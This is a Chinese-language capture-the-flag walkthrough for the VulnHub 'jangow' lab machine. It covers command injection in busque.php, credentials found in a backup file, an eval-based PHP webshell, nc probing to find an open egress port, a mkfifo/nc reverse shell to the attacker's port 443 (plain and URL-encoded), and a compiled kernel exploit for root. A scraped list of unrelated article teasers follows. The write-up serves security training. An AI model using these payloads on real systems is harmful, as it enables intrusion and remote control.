vulnhub靶场【jangow】靶机,考察反弹shell的流量及端口的选择

news/2025/1/23 3:46:06/

前言

靶机:jangow,IP地址为192.168.10.9

攻击:kali,IP地址为192.168.10.2

都采用虚拟机,网卡为桥接模式

该靶机目前只剩下一个了,之前记得是有两台构成系列的。

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者通过下方链接下载https://pan.quark.cn/s/81340f284dc9

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

信息收集

使用nmap扫描端口

网站信息探测

访问80端口网站,发现有目录site,点击后,出现界面,这个界面真挺好看的

查看页面源代码,发现一个php界面,并且参数都有了

使用多款目录爆破工具,使用dirsearch,默认字典,发现隐藏文件,当然这里也可以设置其递归爆破,只是这样速度可能会稍慢

dirsearch -u http://192.168.10.9 -x 403,404 -e js

使用girb进行扫描,默认字典,发现wordpress

打开隐藏文件/backup,发现连接数据库的相关信息

用户名jangow01,密码abygurl69

尝试打开wordpress,发现并非cms,只是目录名称为这个,其内容就是site中的默认界面内容

漏洞利用

测试之前有的php文件,参数已经给出,测试有无注入点,如路径遍历等

这里可以使用ffuf或者burp等其他工具,执行发现一个可用语句

ffuf -c -w /usr/share/wordlists/wfuzz/Injections/All_attack.txt -u http://192.168.10.9/site/busque.php?buscar=FUZZ -fs 1
#-fs 1 是把原本界面大小1,直接过滤掉

http://192.168.10.9/site/busque.php?buscar=%0a/bin/cat%20/etc/passwd

复制这个语句,通过浏览器访问,发现一个用户,也就是前面隐藏文件中的用户名jangow01和密码abygurl69

而且,可以看到这里是通过调用cat来查看的,是否表示这里可以进行命令执行,直接更换为ls,测试发现,成了!

http://192.168.10.9/site/busque.php?buscar=%0a/bin/ls

查看后,发现其代码调用system函数

这里虽然可以进行很多,不过既然给出了ftp,总要用一下,以上面获取的用户名和密码进行登录,如果存在这样的情况。用户名jangow01,密码abygurl69

发现这就是网站的一些文件,可以从这里查看,前面的都差不多发现了,在wordpress处发现一个config.php文件,是连接数据库的

用户名desafio02和密码abygurl69,这里打算再以这个凭证登录的,发现失败

反弹shell

那么回到网站上,尝试通过php文件获取一个反弹shell,不过在构造多条语句无果后,我测试了一下网络连通,发现kali可以连通靶机,但是反过来不行,导致流量无法出来。可能是这个php文件中还有其他的限制等情况

16

这个流量没出去,不过既然命令可执行,就尝试在本地直接写一个php文件,然后再测试

写入是可以的,不过还是不能直接反弹shell,则,再写sh脚本,也是不行,这个肯定是防火墙之类的端口限制了,需要找到某个端口可以进行流量发送的,之前nmap扫描到的2180端口试试

也可能是system的问题,尝试写入一个新的

<?php @eval($_REQUEST['cmd']);?>

在浏览器输入

busque.php?buscar=echo '<?php @eval($_GET['cmd']);?>' > shell.php

webshell

尝试使用蚁剑等工具进行连接,发现成功,说明可以连接,只是进行端口限制,至于是哪个端口,需要进一步验证

也就是这里不仅是端口,还有函数也进行了限制,现在连接蚁剑的虚拟终端,查看flag

测试使用nc进行反弹,发现-e参数无法使用,并且还是端口问题,无法发出流量

尝试使用nc进行测试,也就是在靶机内去连接kali中的一些端口进行测试,因为这里kali是能连通靶机,主要是靶机连接kali的问题

测试端口情况

这里以一些常用端口进行测试,如21,22,23,53,80,111,443等等,当然也可以进行全端口的测试,只是等待时间有点太长了,这毕竟是打靶,知道方法即可

nc -zv -w20 192.168.10.2 21 22 23 25 53 80 110 111 135 139 143 443 445 3389 8080 >>result 2>&1

执行后,查看result,发现有一个端口可能存在连接,因为这里明确说明是拒绝连接,至少说明有流量产生

尝试测试这个端口能否把流量发送到kali,也就是测试能否通过这个端口进行通信

kali使用python开启一个http服务,定位在443端口

测试,确定在443端口是可以的,其他端口使用wget都是无法通信的状态

那么也就是,在靶机内,只要请求的外部资源是443端口的,就可以产生通信,也就是外部返回必须是443端口。

尝试在kali监听443端口,然后在靶机请求kali的443端口

因为之前测试,在蚁剑中是无法调用shnc -e的,那么可以通过写文件脚本,或者利用之前的命令执行链接进行反弹测试

获取反弹shell

比如这里在可访问的网站目录下,创建一个php脚本ff.php,然后在文件写入下面代码,为什么呢,因为测试多个,都没有反应

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.10.2 443 >/tmp/f');?>

这时候,再通过浏览器访问这个脚本,以触发,即可反弹

或者在之前默认的命令执行处,把上面的反弹shell代码进行一个编码处理,然后通过浏览器传参执行,也是可以的

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.10.2 443 >/tmp/f#url编码处理
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%20192.168.10.2%20443%20%3E%2Ftmp%2Ff

提权

获取到第一个flag

使用find寻找具有SUID权限文件,发现sudo,测试发现并不可用

查看靶机内用户,发现和之前查看/etc/passwd一样,只要jangow01,使用su切换后,使用上面的密码abygurl69,登录成功,不过就是执行sudo还是无权,寻找其他方式

查看操作系统信息及内核

使用searchsploit搜索有无内核漏洞,发现几个,不过经过测试,可用的只有这个

查看该文件,其中有用法,以及测试主机

在靶机中使用gcc -v发现可以使用gcc命令,那么通过端口复用,把文件下载到靶机,也就是443端口复用,其余端口进行限制,不过这里还没权限知道规则

编译文件后,给予执行权限,然后直接运行

gcc 45010.c -o exp
chmod +x exp
./exp

切换/root目录,查看最后的文件

使用iptables -L简单看一下拦截情况

总结

该靶机主要考察以下几点:

  1. 对于目录型网站,可能存在隐藏文件,能否爆破出,windowslinux对于隐藏文件的名称是不一样的
  2. 对于连接数据库的文件,能否找到,并看懂
  3. 对于php文件,可能有的传参是具有注入点的,都要进行测试
  4. 对于反弹shell时,发现突然一下不能获取shell,但是浏览器看到一直在执行的话。要知道学会排查,获取一个个测试,直到有成功的。
  5. 考察webshell的使用,这里通过webshell以达到可以写入文件等的便捷操作,并且大部分时候,能够获取webshell会真的方便一些。
  6. 可以借助nc等靶机内有的一些扫描工具进行测试,因为有的从外面扫描是可以的,但是那是进站,对于内网的出站可能又是一个不一样的规则

http://www.ppmy.cn/news/1565379.html

相关文章

HTML 文本格式化详解

在网页开发中&#xff0c;文本内容的呈现方式直接影响用户的阅读体验。HTML 提供了多种文本格式化元素&#xff0c;可以帮助我们更好地控制文本的显示效果。本文将详细介绍 HTML 中的文本格式化元素及其使用方法&#xff0c;帮助你轻松实现网页文本的美化。 什么是 HTML 文本格…

【Linux】网络层

目录 IP协议 协议头格式 网段划分 2中网段划分的方式 为什么要进行网段划分 特殊的IP地址 IP地址的数量限制 私有IP地址和公有IP地址 路由 IP协议 在通信时&#xff0c;主机B要把数据要给主机C&#xff0c;一定要经过一条路径选择&#xff0c;为什么经过路由器G后&…

Pandas 数据分析(二)【股票数据】

股票数据分析 写在前面题目背景021 加载股票数据到CSV文件022 查看基本信息和数据统计023 更改索引列为普通数据列024 给数据添加月份和年份025 计算每年的平均收盘价026 找到收盘价最低的数据行027 筛选出部分数据列028 设置日期列为索引列029 删除不需要的数据列030 对数据列…

Docker【实用教程】2025最新版

官网 https://www.docker.com/ windows 下载安装 Docker 桌面版 打开官网 https://www.docker.com/&#xff0c;下载对应的桌面端 下载后双击打开&#xff0c;按默认配置安装即可。 linux 下载安装 Docker curl -fsSL https://get.docker.com -o get-docker.shsh get-docker.sh…

Oracle数据库传统审计怎么用

Oracle数据库传统审计怎么用 审计功能开启与关闭By Session还是By AccessWhenever Successful数据库语句审计数据库对象审计查看审计策略和记录Oracle数据库审计功能分为传统审计(Traditional Auditing)和统一审计(Unified Auditing)。统一审计是从Oracle 12c版本开始引入的…

记一次线上SQL死锁事故:如何避免死锁?

背景 之前我参与过一个项目&#xff0c;在项目初期&#xff0c;我们是没有将读写表分离的&#xff0c;而是基于一个主库完成 读写操作。在业务量逐渐增大的时候&#xff0c;我们偶尔会收到系统的异常报警信息&#xff0c;DBA 通知我 们数据库出现了死锁异常。 按理说业务开始…

【计算机视觉】人脸识别

一、简介 人脸识别是将图像或者视频帧中的人脸与数据库中的人脸进行对比&#xff0c;判断输入人脸是否与数据库中的某一张人脸匹配&#xff0c;即判断输入人脸是谁或者判断输入人脸是否是数据库中的某个人。 人脸识别属于1&#xff1a;N的比对&#xff0c;输入人脸身份是1&…

兼职全职招聘系统架构与功能分析

2015工作至今&#xff0c;10年资深全栈工程师&#xff0c;CTO&#xff0c;擅长带团队、攻克各种技术难题、研发各类软件产品&#xff0c;我的代码态度&#xff1a;代码虐我千百遍&#xff0c;我待代码如初恋&#xff0c;我的工作态度&#xff1a;极致&#xff0c;责任&#xff…